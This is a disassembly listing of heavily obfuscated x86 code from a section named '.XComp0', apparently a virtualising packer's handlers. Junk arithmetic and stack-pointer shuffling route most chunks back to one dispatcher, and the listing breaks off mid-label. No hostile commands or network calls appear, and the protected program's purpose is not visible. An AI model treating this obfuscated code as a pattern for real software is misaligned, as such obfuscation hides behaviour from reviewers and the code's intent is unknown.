jmp loc_573541 ; --------------------------------------------------------------------------- loc_57D5D7: ; CODE XREF: .XComp0:0058303Aj mov edi, 77B46021h sub ebx, 0B2960E7h sub ebx, edi jmp loc_57EF75 ; --------------------------------------------------------------------------- loc_57D5E9: ; CODE XREF: .XComp0:00582753j mov ebx, edi pop edi mov edi, 303D19CAh jmp loc_57FD49 ; --------------------------------------------------------------------------- loc_57D5F6: ; CODE XREF: .XComp0:00578F2Fj sub ebp, 2 jmp loc_57A71B ; --------------------------------------------------------------------------- loc_57D5FE: ; CODE XREF: .XComp0:0057D8F5j pop edi add ebp, edi jmp loc_57E1AB ; --------------------------------------------------------------------------- loc_57D606: ; CODE XREF: .XComp0:00579E3Dj push ecx mov ecx, esp add ecx, 4 jmp loc_573B0C ; --------------------------------------------------------------------------- loc_57D614: ; CODE XREF: .XComp0:0057354Ej mov ebx, esp add ebx, 4 jmp loc_577AB6 ; --------------------------------------------------------------------------- loc_57D621: ; CODE XREF: .XComp0:0057F340j xor eax, edi pop edi jmp loc_57AC9D ; --------------------------------------------------------------------------- loc_57D629: ; CODE XREF: .XComp0:00574B25j sub eax, 4A361E4Ah pop ebp push ebx mov ebx, 4 jmp loc_57A58D ; --------------------------------------------------------------------------- loc_57D63A: ; CODE XREF: .XComp0:0057D243j pop edi jmp loc_57EAED ; --------------------------------------------------------------------------- loc_57D640: ; CODE XREF: .XComp0:0057A636j add esp, 4 add ebp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push ebp push eax mov eax, 1999200Bh mov ebp, 4EEE7DBBh xor ebp, eax pop eax shl ebp, 1 jmp loc_57A196 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57D675: ; CODE XREF: sub_5A47B5-21277j mov dx, [esp+0] jmp loc_579014 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57D67E: ; CODE XREF: .XComp0:005750D3j push edi not dword ptr [esp] pop edi or edi, 3E021664h add edi, 7DCE5878h shr edi, 8 jmp loc_57CAEA ; --------------------------------------------------------------------------- loc_57D697: ; CODE XREF: .XComp0:005771D8j mov ecx, 3C17155Ch sub ecx, 3C171558h add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push 15E1h mov [esp], ecx push esi mov esi, 59CE72FBh mov ecx, 0A926FB9h xor ecx, esi jmp loc_57FE31 ; --------------------------------------------------------------------------- loc_57D6D2: ; CODE XREF: .XComp0:0057EAE8j xor ebx, 0B944188Fh and esi, ebx pop ebx add esi, 2BA32146h sub esi, eax mov eax, [esp] jmp loc_57FCFC ; --------------------------------------------------------------------------- loc_57D6EB: ; CODE XREF: .XComp0:005744E1j pop edx shl ebx, 1 jmp loc_57FC0D ; --------------------------------------------------------------------------- loc_57D6F3: ; CODE XREF: .XComp0:0057C5D0j add esp, 4 dec esi shl esi, 1 push eax jmp loc_57D1BA ; --------------------------------------------------------------------------- loc_57D702: ; CODE XREF: .XComp0:00579721j push esi mov esi, 0F8869CBh push eax mov eax, 73FE7648h jmp loc_582874 ; --------------------------------------------------------------------------- loc_57D713: ; CODE XREF: .XComp0:00578506j mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_576B73 ; --------------------------------------------------------------------------- loc_57D723: ; CODE XREF: .XComp0:0057E858j mov [esp], ecx sub esp, 4 mov [esp], esi push edx mov edx, 57A31D54h jmp loc_57C41E ; --------------------------------------------------------------------------- loc_57D73A: ; CODE XREF: .XComp0:00582029j push 0A095EA6h pop eax push ebx jmp loc_57C80C ; --------------------------------------------------------------------------- loc_57D746: ; CODE XREF: .XComp0:00574A6Bj mov ebx, [esp] add esp, 4 jmp loc_575F32 ; --------------------------------------------------------------------------- loc_57D754: ; CODE XREF: .XComp0:0057772Bj shr edi, 2 shl edi, 3 xor edi, 656C78ECh add esi, edi pop edi add esi, ebp push ebx jmp loc_574BCB ; --------------------------------------------------------------------------- loc_57D76B: ; CODE XREF: .XComp0:00573632j pop edi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5738AF ; --------------------------------------------------------------------------- loc_57D781: ; CODE XREF: .XComp0:0057C1C9j push esi jmp loc_57902A ; --------------------------------------------------------------------------- loc_57D787: ; CODE XREF: .XComp0:0057A12Dj sub eax, 1D445823h neg eax shr eax, 6 and eax, 141637C6h sub eax, 0CA46B3E6h mov edx, eax jmp loc_57B1B3 ; --------------------------------------------------------------------------- loc_57D7A2: ; CODE XREF: .XComp0:005740DEj neg ebp not ebp jmp loc_57FE02 ; --------------------------------------------------------------------------- loc_57D7AB: ; CODE XREF: .XComp0:0057DDF7j mov edx, 0CD6688Bh push ebp push ebx push 67C316C9h jmp loc_5786DB ; --------------------------------------------------------------------------- loc_57D7BC: ; CODE XREF: .XComp0:0057F7D0j sub dword ptr [esp], 6C167B35h pop edx add edx, 6C167B35h jmp loc_582CFE ; --------------------------------------------------------------------------- loc_57D7CF: ; CODE XREF: .XComp0:0057FCE6j push esp pop ecx add ecx, 4 push eax mov eax, 4 sub ecx, eax pop eax jmp loc_5831DE ; --------------------------------------------------------------------------- loc_57D7E5: ; CODE XREF: .XComp0:0057CE07j xor edi, 322217AEh add edi, 841AD2D2h jmp loc_57538E ; --------------------------------------------------------------------------- loc_57D7F6: ; CODE XREF: .XComp0:0057C35Ej push ebp mov ebp, 4 mov eax, ebp jmp loc_57FE6A ; --------------------------------------------------------------------------- loc_57D803: ; CODE XREF: .XComp0:0057DFC7j pop edx sub eax, 1 jmp loc_581F47 ; --------------------------------------------------------------------------- loc_57D80E: ; CODE XREF: .XComp0:0057AFF8j push dword ptr [esp] jmp loc_57B8EF ; --------------------------------------------------------------------------- loc_57D816: ; CODE XREF: .XComp0:00576278j shl ecx, 8 shl ecx, 5 jmp loc_576181 ; --------------------------------------------------------------------------- loc_57D821: ; CODE XREF: .XComp0:00578878j mov esp, [esp] jmp loc_581AB9 ; --------------------------------------------------------------------------- loc_57D829: ; CODE XREF: .XComp0:005746F9j push edi mov edi, 254034E8h add edi, 2E325066h dec edi inc edi and edi, 3B8D0ED0h push ebx mov ebx, 0ECFFFBC4h jmp loc_57BC02 ; --------------------------------------------------------------------------- loc_57D848: ; CODE XREF: .XComp0:0057D190j mov dh, bh mov cl, dh pop edx inc cl mov bh, cl pop cx and bh, 0B6h not bh sub bh, 0B5h jmp loc_57921C ; --------------------------------------------------------------------------- loc_57D860: ; CODE XREF: .XComp0:0057BC73j shr edi, 6 jmp loc_57DCC2 ; --------------------------------------------------------------------------- loc_57D868: ; CODE XREF: .XComp0:0057CDAEj mov [esp], esi sub esp, 4 mov [esp], edi mov edi, 5E174871h or edi, 11071A5Fh jmp loc_579B46 ; --------------------------------------------------------------------------- loc_57D881: ; CODE XREF: .XComp0:0057BE3Fj mov ax, [esp] push eax push esp push dword ptr [esp] pop eax jmp loc_58123A ; --------------------------------------------------------------------------- loc_57D890: ; CODE XREF: .XComp0:00577963j add ah, bh pop ebx sub bl, 2Ch sub bl, ah add bl, 2Ch pop eax jmp loc_5761D0 ; --------------------------------------------------------------------------- loc_57D8A1: ; CODE XREF: .XComp0:005814B0j mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_5750D8 ; --------------------------------------------------------------------------- loc_57D8B1: ; CODE XREF: .XComp0:00573FCEj neg ebp add ebp, 60499ED8h and eax, ebp pop ebp jmp loc_5826DB ; --------------------------------------------------------------------------- loc_57D8C1: ; CODE XREF: .XComp0:00579889j pop edx pop ebx jmp loc_57BA00 ; --------------------------------------------------------------------------- loc_57D8C8: ; CODE XREF: .XComp0:00581011j add esi, edx pop edx push eax mov eax, 4FB023D6h shl eax, 1 and eax, 116D788Bh inc eax not eax inc eax add eax, 1160408Dh add esi, eax jmp loc_58262E ; --------------------------------------------------------------------------- loc_57D8E8: ; CODE XREF: .XComp0:0057A96Fj push eax jmp loc_5781CA ; --------------------------------------------------------------------------- loc_57D8EE: ; CODE XREF: .XComp0:0057596Cj mov edi, 774D7549h sub ebp, edi jmp loc_57D5FE ; --------------------------------------------------------------------------- loc_57D8FA: ; CODE XREF: .XComp0:00575009j add edi, 0CD11C4Eh add edi, eax sub esp, 4 mov [esp], ebx jmp loc_578420 ; --------------------------------------------------------------------------- loc_57D90D: ; CODE XREF: .XComp0:00576E08j pop esp mov [esp], edx push ebx mov ebx, 4F2823F5h jmp loc_574E13 ; --------------------------------------------------------------------------- loc_57D91C: ; CODE XREF: .XComp0:0057FD8Fj shr eax, 18h xor eax, ecx push edi mov edi, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add edi, 2FC95F2Fh add edi, ebp sub edi, 2FC95F2Fh pop ebp sub edi, 4 push edi push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push edi mov edi, esp add edi, 4 push ecx mov ecx, 0B191D42h shl ecx, 2 xor ecx, 0B4026ABh sub ecx, 2724539Fh add edi, ecx pop ecx xchg edi, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], eax not dword ptr [esp] jmp loc_575773 ; --------------------------------------------------------------------------- loc_57D98C: ; CODE XREF: .XComp0:00573CD5j mov ecx, edx pop edx or ebx, ecx mov ecx, [esp] jmp loc_57BC98 ; --------------------------------------------------------------------------- loc_57D999: ; CODE XREF: .XComp0:00574E4Cj pop edi push ebp jmp loc_57EA94 ; --------------------------------------------------------------------------- loc_57D9A0: ; CODE XREF: .XComp0:0057EEC1j add dh, cl push dword ptr [esp] pop ecx add esp, 4 sub esp, 2 jmp loc_57DD14 ; --------------------------------------------------------------------------- loc_57D9B1: ; CODE XREF: .XComp0:005767C5j add dword ptr [esp+4], 4C564DC6h jmp loc_5812E4 ; --------------------------------------------------------------------------- loc_57D9BE: ; CODE XREF: .XComp0:00577E1Fj add edi, 4 push edi push dword ptr [esp+4] jmp loc_577FAF ; --------------------------------------------------------------------------- loc_57D9CB: ; CODE XREF: .XComp0:00580C9Ej xor edi, 6B7077C9h push ebx mov ebx, edi push ebx push dword ptr [esp] pop edx jmp loc_5828EF ; --------------------------------------------------------------------------- loc_57D9DE: ; CODE XREF: .XComp0:00575808j sub [esp+8], esi sub dword ptr [esp+8], 3F6F6554h jmp loc_57A188 ; --------------------------------------------------------------------------- loc_57D9EF: ; CODE XREF: .XComp0:0057540Dj jmp loc_573541 ; --------------------------------------------------------------------------- loc_57D9F4: ; CODE XREF: .XComp0:00576C23j mov eax, 3A074851h not eax add eax, 5D855AA6h push edx mov edx, 30B1052Dh xor eax, edx mov edx, [esp] add esp, 4 shr eax, 6 xor eax, 4F3C59h jmp loc_576CFF ; --------------------------------------------------------------------------- loc_57DA1E: ; CODE XREF: .XComp0:00579325j add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 jmp loc_57AD20 ; --------------------------------------------------------------------------- loc_57DA32: ; CODE XREF: .XComp0:0057B25Aj or ecx, 6E122BC9h push eax mov eax, 6FDBAFC7h sub ecx, eax pop eax jmp loc_577730 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57DA4D: ; CODE XREF: .XComp0:0057F914j pop ebx push ecx mov ch, 79h xor dh, ch pop ecx xor dh, bh jmp loc_5808E1 ; --------------------------------------------------------------------------- loc_57DA5B: ; CODE XREF: .XComp0:00580DFAj and esi, edi pop edi and esi, 6AA76030h sub esi, 1FE4CC7Ah add eax, 7B91359Dh sub eax, esi sub eax, 7B91359Dh pop esi push 5D6h mov [esp], esi mov esi, 3144757Bh shr esi, 1 push 1D45h mov [esp], ecx mov ecx, 0CE511D4h push ebp jmp loc_57BCC7 ; --------------------------------------------------------------------------- loc_57DA99: ; CODE XREF: .XComp0:0057BD83j push esi mov esi, 1552757h xor edx, esi pop esi and edx, 7A4F4DA4h add edx, 34744C47h dec edx push ebp mov ebp, 57C11899h jmp loc_57C55E ; --------------------------------------------------------------------------- loc_57DABA: ; CODE XREF: .XComp0:0058314Bj xor dx, [esp] xor [esp], dx push small 682Bh mov [esp], dx push di pop dx mov di, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 jmp loc_578462 ; --------------------------------------------------------------------------- loc_57DAED: ; CODE XREF: .XComp0:0057F0D8j push edi mov edi, esp jmp loc_583653 ; --------------------------------------------------------------------------- loc_57DAF5: ; CODE XREF: .XComp0:005808EDj push 907h jmp loc_5793D8 ; --------------------------------------------------------------------------- loc_57DAFF: ; CODE XREF: .XComp0:0057C298j pop esp push edi mov edi, esp add edi, 4 push esi push 0CE4h mov [esp], ecx mov ecx, 22BF0BE8h not ecx jmp loc_57584D ; --------------------------------------------------------------------------- loc_57DB1E: ; CODE XREF: .XComp0:0057A3F4j add eax, esi mov esi, [esp] push ecx mov ecx, esp jmp loc_57AB8D ; --------------------------------------------------------------------------- loc_57DB2B: ; CODE XREF: .XComp0:005810B2j mov [esp], ebx push 35455D51h pop ebx mov dword ptr [edx+38h], 35455D51h push eax mov eax, 38h add eax, edx xor [eax], ebx pop eax pop ebx loc_57DB47: ; CODE XREF: .XComp0:0057CFC7j sub esp, 4 mov [esp], esi push eax mov eax, 2CBB214Dh jmp loc_5746FE ; --------------------------------------------------------------------------- loc_57DB5B: ; CODE XREF: .XComp0:0058237Dj push ebx mov bh, 83h push ebx mov bl, 0DFh sub bl, 0C0h sub esp, 2 mov [esp], dx mov dl, 54h add bl, dl pop dx add bl, 4Dh sub esp, 4 mov [esp], eax mov ah, 0C7h sub ah, 0FFh sub ah, 0B3h or bl, ah mov eax, [esp] add esp, 4 inc bl sub bl, 60h jmp loc_577C44 ; --------------------------------------------------------------------------- loc_57DB97: ; CODE XREF: .XComp0:0058334Dj xor ebx, [esp] pop esp popa jmp loc_57F7DD ; --------------------------------------------------------------------------- loc_57DBA1: ; CODE XREF: .XComp0:00576CAAj sub edi, 639372BAh pop esi sub esp, 4 jmp loc_57C2BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57DBB3: ; CODE XREF: sub_5A47B5-2E070j mov ch, al pop eax sub bl, ch pop ecx add al, bl jmp loc_57554E ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57DBC0: ; CODE XREF: .XComp0:00576684j push edx mov edx, 2F4D39E6h xchg ebp, edx not ebp xchg ebp, edx sub edx, 1 sub esp, 4 jmp loc_577300 ; --------------------------------------------------------------------------- loc_57DBDA: ; CODE XREF: .XComp0:005749BEj xor [esp], al jmp loc_573541 ; --------------------------------------------------------------------------- loc_57DBE2: ; CODE XREF: .XComp0:00576C8Cj pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 6D4A51AFh push ebp mov ebp, 6D4A51AEh xor edi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_579BB1 ; --------------------------------------------------------------------------- loc_57DC18: ; CODE XREF: .XComp0:0057639Aj mov esi, [esp] push ebp jmp loc_57AFA7 ; --------------------------------------------------------------------------- loc_57DC21: ; CODE XREF: .XComp0:0057767Cj add al, 27h dec al push bx mov bh, al not bh mov al, bh jmp loc_57FADF ; --------------------------------------------------------------------------- loc_57DC32: ; CODE XREF: .XComp0:0057D469j dec edx jmp loc_58100B ; --------------------------------------------------------------------------- loc_57DC38: ; CODE XREF: .XComp0:00575B53j add edx, ecx mov ecx, [esp] add esp, 4 push eax mov eax, 2 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57DC58: ; CODE XREF: .XComp0:0057F2ADj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] add esp, 4 add dword ptr [esp+4], 61D90CB9h sub [esp+4], ebx sub dword ptr [esp+4], 61D90CB9h pop ebx jmp loc_5791FA ; --------------------------------------------------------------------------- loc_57DC89: ; CODE XREF: .XComp0:00577DC8j mov ebp, ecx pop ecx jmp loc_582CDC ; --------------------------------------------------------------------------- loc_57DC91: ; CODE XREF: .XComp0:0057759Bj neg ebp push edi mov edi, 7EE4222Fh sub edi, 6B784A91h and edi, 7AF84D11h sub edi, 55649EB7h xor ebp, edi pop edi add esi, ebp pop ebp jmp loc_57D4DF ; --------------------------------------------------------------------------- loc_57DCB6: ; CODE XREF: .XComp0:0057DD0Fj add edx, 344C2C01h pop edi jmp loc_57DD2E ; --------------------------------------------------------------------------- loc_57DCC2: ; CODE XREF: .XComp0:0057D863j sub edi, 61FD7DBCh shl edi, 5 sub edi, 0DDF9E981h sub ebx, edi jmp loc_57F7EA ; --------------------------------------------------------------------------- loc_57DCD8: ; CODE XREF: .XComp0:005809B5j xor eax, 31E93D2Ch or eax, 5C7E7A78h xor eax, 3F9F0962h mov edi, eax jmp loc_57EAC4 ; --------------------------------------------------------------------------- loc_57DCEE: ; CODE XREF: .XComp0:00577408j inc ebx shl ebx, 2 jmp loc_5755BD ; --------------------------------------------------------------------------- loc_57DCF7: ; CODE XREF: .XComp0:0057C69Bj add edi, 1 jmp loc_575B3A ; --------------------------------------------------------------------------- loc_57DCFF: ; CODE XREF: .XComp0:00579EC4j mov ebx, 7F9C3D7Bh xor edi, ebx pop ebx sub edx, 344C2C01h add edx, edi jmp loc_57DCB6 ; --------------------------------------------------------------------------- loc_57DD14: ; CODE XREF: .XComp0:0057D9ACj mov [esp], cx mov ch, 75h push dx mov dl, 5Ah add al, 0D9h add al, dl sub al, 0D9h mov dx, [esp] push edx jmp loc_57E6ED ; --------------------------------------------------------------------------- loc_57DD2E: ; CODE XREF: .XComp0:0057DCBDj sub esp, 4 jmp loc_57CC16 ; --------------------------------------------------------------------------- loc_57DD36: ; CODE XREF: .XComp0:0057809Aj and edx, ebx pop ebx push ebp mov ebp, 604A48EDh add ebp, 52F086Dh or edx, ebp pop ebp xchg edi, edx not edi jmp loc_57848E ; --------------------------------------------------------------------------- loc_57DD51: ; CODE XREF: .XComp0:0057E243j mov esi, esp push ecx mov ecx, 31231CE1h push edx mov edx, 0 sub edx, ecx mov ecx, edx pop edx jmp loc_580D77 ; --------------------------------------------------------------------------- loc_57DD69: ; CODE XREF: .XComp0:0058352Aj push ecx push ebx mov ebx, 60C22BCAh mov ecx, ebx pop ebx jmp loc_57A4D5 ; --------------------------------------------------------------------------- loc_57DD78: ; CODE XREF: .XComp0:0057356Ej push ecx mov ecx, esp add ecx, 4 jmp loc_574346 ; --------------------------------------------------------------------------- loc_57DD86: ; CODE XREF: .XComp0:0057725Ej push 426Ch jmp loc_57C15F ; --------------------------------------------------------------------------- loc_57DD90: ; CODE XREF: .XComp0:0057EB02j push dword ptr [esp] jmp loc_57F5BA ; --------------------------------------------------------------------------- loc_57DD98: ; CODE XREF: .XComp0:005831ABj xchg ebp, [esp] pop esp jmp loc_57DF85 ; --------------------------------------------------------------------------- loc_57DDA1: ; CODE XREF: .XComp0:0057D013j add esp, 4 sub edi, esi pop esi xchg edi, [esp] jmp loc_5811A0 ; --------------------------------------------------------------------------- loc_57DDAF: ; CODE XREF: .XComp0:005757C5j mov bx, [esp] add esp, 2 add bl, 1Dh add bl, 20h push edx jmp loc_5811F9 ; --------------------------------------------------------------------------- loc_57DDC5: ; CODE XREF: .XComp0:005767DDj push 3820156Dh pop edi jmp loc_57BB10 ; --------------------------------------------------------------------------- loc_57DDD0: ; CODE XREF: .XComp0:00574172j push edx mov edx, eax mov ebp, edx pop edx mov eax, [esp] add esp, 4 inc ebp inc ebp inc ebp push ebx mov ebx, 528E6CD3h sub ebx, 7F05721h sub ebx, 1A143AD3h jmp loc_57A455 ; --------------------------------------------------------------------------- loc_57DDF6: ; CODE XREF: .XComp0:0057E0FEj push edx jmp loc_57D7AB ; --------------------------------------------------------------------------- loc_57DDFC: ; CODE XREF: .XComp0:0057A1B6j mov ebx, 7D88212Bh sub ebx, 0F5B4E65h or ebx, 0B54146Fh dec ebx add ebx, 0BAAD722Dh add ebx, 0A507866h add ebx, 0E5247AE8h xor ebp, ebx jmp loc_577594 ; --------------------------------------------------------------------------- db 58h dd 0E1895156h, 4C181h, 0E9810000h, 4, 5C240C87h, 0FF9CFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_57DE41: ; CODE XREF: .XComp0:0057C2D5j sub eax, edi jmp loc_57B784 ; --------------------------------------------------------------------------- loc_57DE48: ; CODE XREF: .XComp0:0057CF17j add ebx, edi mov edi, [esp] add esp, 4 xor ebx, 536F36C7h jmp loc_577849 ; --------------------------------------------------------------------------- loc_57DE5E: ; CODE XREF: .XComp0:0057AD1Bj sub esp, 4 jmp loc_57F01E ; --------------------------------------------------------------------------- loc_57DE69: ; CODE XREF: .XComp0:0057EA9Fj add esp, 4 jmp loc_574579 ; --------------------------------------------------------------------------- loc_57DE74: ; CODE XREF: .XComp0:00576C0Ej push esi mov esi, 38867D81h and esi, 76CE0615h jmp loc_57FE49 ; --------------------------------------------------------------------------- loc_57DE85: ; CODE XREF: .XComp0:005799E7j sub ebx, 253E2815h sub ebx, 174D09FDh sub edx, ebx pop ebx push ebx mov ebx, 684D33h add edx, ebx pop ebx sub edx, 7D7E6C34h push ecx push edi mov edi, 37080D55h sub edi, 4CDF5FD0h push ebp jmp loc_57C64F ; --------------------------------------------------------------------------- loc_57DEB6: ; CODE XREF: .XComp0:0057F4EDj mov ebp, esp add ebp, 4 push 36EBh mov [esp], esi sub esp, 4 mov [esp], ecx push 6A030F54h mov ecx, [esp] add esp, 4 or ecx, 1346466Ah shr ecx, 6 jmp loc_57A132 ; --------------------------------------------------------------------------- loc_57DEE5: ; CODE XREF: .XComp0:00580F1Ej shr ebp, 1 shl ebp, 3 shr ebp, 1 push 499Ah mov [esp], esi mov esi, 7B9E04DDh xor ebp, esi pop esi jmp loc_57831E ; --------------------------------------------------------------------------- loc_57DF01: ; CODE XREF: .XComp0:00579DB5j sub edx, 767F1895h sub edx, esi sub esp, 4 mov [esp], edi jmp loc_581845 ; --------------------------------------------------------------------------- loc_57DF14: ; CODE XREF: .XComp0:00577F3Cj xchg esi, [esp] mov esp, [esp] mov [esp], esi mov esi, 6CB374AAh jmp loc_581B52 ; --------------------------------------------------------------------------- loc_57DF27: ; CODE XREF: .XComp0:005762B1j xchg ebx, edi jmp loc_57AC6D ; --------------------------------------------------------------------------- loc_57DF2E: ; CODE XREF: .XComp0:005743FCj mov [esp], ebp push ecx mov ecx, eax push ecx xor dword ptr [esp], 437C1EAFh pop ebp xor ebp, 437C1EAFh pop ecx mov esi, ebp pop ebp push eax jmp loc_573CEC ; --------------------------------------------------------------------------- loc_57DF4D: ; CODE XREF: .XComp0:00580045j mov esp, [esp] dec byte ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57DF59: ; CODE XREF: .XComp0:00577CC2j add dword ptr [esp], 4 jmp loc_57667D ; --------------------------------------------------------------------------- loc_57DF62: ; CODE XREF: .XComp0:00577494j add ebx, edi push dword ptr [esp] jmp loc_58306D ; --------------------------------------------------------------------------- loc_57DF6C: ; CODE XREF: .XComp0:00580807j push ebp push esp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_57C91B ; --------------------------------------------------------------------------- loc_57DF85: ; CODE XREF: .XComp0:0057DD9Cj push esi mov esi, 4 add edi, esi mov esi, [esp] jmp loc_582024 ; --------------------------------------------------------------------------- loc_57DF95: ; CODE XREF: .XComp0:0057F626j mov edx, 66F31D09h jmp loc_57676F ; --------------------------------------------------------------------------- loc_57DF9F: ; CODE XREF: .XComp0:0057BF8Dj shl ebp, 3 and ebp, 607D629Bh dec ebp xor ebp, 723015Ch sub edx, 1CE74AFDh add edx, ebp add edx, 1CE74AFDh pop ebp push eax push edx mov edx, 481251EAh mov eax, edx jmp loc_57D803 ; --------------------------------------------------------------------------- loc_57DFCC: ; CODE XREF: .XComp0:0057EA68j add esp, 4 jmp loc_583731 ; --------------------------------------------------------------------------- loc_57DFD4: ; CODE XREF: .XComp0:0057F187j shl edi, 5 push edx mov edx, 0E9EEFBB8h xor edi, edx pop edx sub esi, 20CA1EE9h sub esi, edi add esi, 20CA1EE9h pop edi sub esi, 1 add esi, 73B26B96h push 4873h mov [esp], eax push 0CF9A0CABh pop eax add esi, eax mov eax, [esp] jmp loc_580CEA ; --------------------------------------------------------------------------- loc_57E010: ; CODE XREF: .XComp0:005744C0j add ecx, ebx pop ebx add ecx, 2 push 3112h mov [esp], ecx push dword ptr [esp+4] jmp loc_580831 ; --------------------------------------------------------------------------- loc_57E02A: ; CODE XREF: .XComp0:005821C6j xor edx, ecx push dword ptr [esp] jmp loc_5735F1 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp push esi mov esi, 575A4039h jmp loc_5832A2 ; --------------------------------------------------------------------------- loc_57E046: ; CODE XREF: .XComp0:00575A84j mov ch, bh pop ebx pop edx pop ebx pop eax pop ebx push ebx push eax mov al, ch jmp loc_57F68F ; --------------------------------------------------------------------------- loc_57E056: ; CODE XREF: .XComp0:00579B07j mov esp, [esp] jmp loc_57C488 ; --------------------------------------------------------------------------- loc_57E05E: ; CODE XREF: .XComp0:0057E741j add dh, 0B7h shl dh, 6 xor dh, 63h sub dh, 0EFh sub ah, dh pop edx add dl, 0D6h sub dl, ah jmp loc_577420 ; --------------------------------------------------------------------------- loc_57E077: ; CODE XREF: .XComp0:00576F4Cj pop ebp xor eax, edi push dword ptr [esp] mov edi, [esp] sub esp, 4 jmp loc_57983A ; --------------------------------------------------------------------------- loc_57E08B: ; CODE XREF: .XComp0:0057C64Aj mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_57F7E4 ; --------------------------------------------------------------------------- loc_57E09B: ; CODE XREF: .XComp0:00582E39j push eax push esp pop eax push 7E05h mov [esp], edx mov edx, 4F8562FBh not edx sub edx, 0B07A9D00h jmp loc_57E6AE ; --------------------------------------------------------------------------- loc_57E0B8: ; CODE XREF: .XComp0:0057F88Fj push dword ptr [esp] pop edx add esp, 4 jmp loc_57A833 ; --------------------------------------------------------------------------- loc_57E0C7: ; CODE XREF: .XComp0:0057EB24j sub esi, 52583A34h add esi, eax add esi, 52583A34h jmp loc_57C213 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax push esp jmp loc_5767CA ; --------------------------------------------------------------------------- loc_57E0E6: ; CODE XREF: .XComp0:0057B859j push ecx mov ecx, 5E18137Fh mov ebx, 72EA6EA7h sub ebx, ecx mov ecx, [esp] add esp, 4 push esi push ecx jmp loc_57DDF6 ; --------------------------------------------------------------------------- loc_57E103: ; CODE XREF: .XComp0:0057CE90j mov edx, 5CFC6881h sub edx, 0E22703D3h jmp loc_57D3FE ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E123: ; CODE XREF: .XComp0:0057911Bj add eax, 0EE25497h pop ebx push ecx mov ecx, 0B2A78A5h add eax, ecx jmp loc_573D8E ; --------------------------------------------------------------------------- loc_57E136: ; CODE XREF: .XComp0:0057FEE9j pop esp dec word ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E141: ; CODE XREF: .XComp0:00574C76j mov esi, 5EBF02F7h mov edi, esi pop esi inc edi sub edi, 5EBF02F4h add esi, edi pop edi push ecx mov ecx, 0F3D6AAFh shl ecx, 3 push ebx jmp loc_57B7A5 ; --------------------------------------------------------------------------- loc_57E162: ; CODE XREF: .XComp0:0057BC8Bj mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_583455 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push 4466h jmp loc_57B030 ; --------------------------------------------------------------------------- loc_57E18F: ; CODE XREF: .XComp0:00577D0Dj xor edi, 0AC626495h add eax, edi pop edi jmp loc_576BB0 ; --------------------------------------------------------------------------- loc_57E19D: ; CODE XREF: .XComp0:00574488j mov [esp], edx jmp loc_577229 ; --------------------------------------------------------------------------- loc_57E1A5: ; CODE XREF: .XComp0:0057803Dj dec edi jmp loc_575256 ; --------------------------------------------------------------------------- loc_57E1AB: ; CODE XREF: .XComp0:0057D601j push eax mov eax, 774D7549h jmp loc_578486 ; --------------------------------------------------------------------------- loc_57E1B6: ; CODE XREF: .XComp0:00576733j add ebx, esi pop esi jmp loc_57F026 ; --------------------------------------------------------------------------- loc_57E1BE: ; CODE XREF: .XComp0:0057C8E4j sub esp, 4 mov [esp], ebp mov ebp, esp push ebx jmp loc_57E8F8 ; --------------------------------------------------------------------------- loc_57E1CC: ; CODE XREF: .XComp0:005813E0j mov ecx, edi pop edi jmp loc_576691 ; --------------------------------------------------------------------------- loc_57E1D4: ; CODE XREF: .XComp0:00579904j sub dword ptr [esp+8], 351633Fh jmp loc_574573 ; --------------------------------------------------------------------------- loc_57E1E1: ; CODE XREF: .XComp0:00580E98j sub esp, 4 mov [esp], ebx mov bl, al push edx push eax mov ah, bl push ebx push ecx mov cl, ah mov bh, cl pop ecx jmp loc_582C43 ; --------------------------------------------------------------------------- lodsb push edx mov dh, 5Ah push ebx mov bh, 3Ah jmp loc_577263 ; --------------------------------------------------------------------------- loc_57E208: ; CODE XREF: .XComp0:0057B306j mov eax, [esp] jmp loc_57A664 ; --------------------------------------------------------------------------- loc_57E210: ; CODE XREF: .XComp0:005763E1j pop ebp add ax, bx push esi jmp loc_5749C3 ; --------------------------------------------------------------------------- loc_57E21A: ; CODE XREF: .XComp0:00574A01j xor eax, [esp] jmp loc_57959F ; --------------------------------------------------------------------------- loc_57E222: ; 